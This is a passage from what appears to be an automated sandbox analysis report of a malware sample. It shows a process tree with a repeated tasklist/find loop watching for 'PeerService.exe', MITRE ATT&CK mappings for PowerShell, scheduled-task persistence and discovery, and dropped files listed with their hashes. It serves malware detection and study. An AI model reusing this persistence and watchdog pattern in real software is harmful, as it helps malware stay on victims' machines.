    PID:3168
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1676
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:396
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4112
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4360
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1320
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4276
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1464
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:132
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1476
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3932
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4396
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2372
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3980
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4692
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:400
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4212
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4412
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4100
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4776
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2368
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1040
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1324
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:620
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2276
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4660
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2072
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3280
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2164
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3444
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1300
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2080
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4796
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1068
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:960
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:236
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4276
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1464
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5076
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1372
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1860

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c82f2726f8ce51fc0d84eb392397b748700470a79032acae4a60c63d1067edcb
MD5 782e4d43fee2487ad2471a9e11efb280
SHA1 17dc94ce4aa72d53aff8024409de3033cfa358f5
SHA512 d16f50a54a1a7c3c1babdc7b90e1b203cf74a18a8f922dcd12d337b31a8ec54a769f7749841116d43dab39bf93cf14acdc5da4a27a0e6127b803bf95f1712541
TLSH
T12421AB33B79CC135C8D9117A108CAD01B1B5C3C7449ECECB7B84C518A57F999DB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_vrfz2mqg.bam.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vrfz2mqg.bam.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 7.6MB
SHA256 01f971cb718b05bec5580919a261bd52f0d70170f3e41db545c1dc090340844a
MD5 cdbd0cfc64b9cede621363b5119fa569
SHA1 ec0945ad918dd646f95c81dfd9b5f2fefb350c27
SHA512 5ae31d66d54bc84cfa4cbc58843a4b05fe99bd8ae0491b543c1e12da948459b5d3964f503d004b0e477d685cfa498012c9671b8fa992f6f3e7d266b5a8a1faf3
SSDEEP 196608:M+hBt+kCzByQyVG/uzGNVyAl3K8fCGnbP3JzATC46ByQyVG/r:bt+5NSG/lVrl3KExL3JzATzONSG/r
TLSH
T1B186022BB26901E8D1BFD17CC9165907EBB2780543A0A7DF12E046A62F73BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3868-52-0x000001F3B3860000-0x000001F3B387A000-memory.dmp

Download

memory/3868-55-0x000001F3B3850000-0x000001F3B385A000-memory.dmp

Download

memory/3868-50-0x000001F3B3820000-0x000001F3B383C000-memory.dmp

Download

memory/3868-51-0x000001F3B3800000-0x000001F3B380A000-memory.dmp

Download

memory/3868-42-0x000001F3B3740000-0x000001F3B37F3000-memory.dmp

Download

memory/3868-53-0x000001F3B3810000-0x000001F3B3818000-memory.dmp

Download

memory/3868-54-0x000001F3B3840000-0x000001F3B3846000-memory.dmp

Download

memory/3868-43-0x000001F3B3710000-0x000001F3B371A000-memory.dmp

Download

memory/3868-58-0x000001F399740000-0x000001F39974C000-memory.dmp

Download

memory/3868-59-0x000001F3997A0000-0x000001F3997B2000-memory.dmp

Download

memory/3868-41-0x000001F3B3720000-0x000001F3B373C000-memory.dmp

Download

memory/3868-28-0x000001F3B3680000-0x000001F3B36A2000-memory.dmp

Download

memory/4576-63-0x000001BA5ABE0000-0x000001BA5ABEC000-memory.dmp

Download

memory/4576-64-0x000001BA5C7E0000-0x000001BA5C7F2000-memory.dmp

Download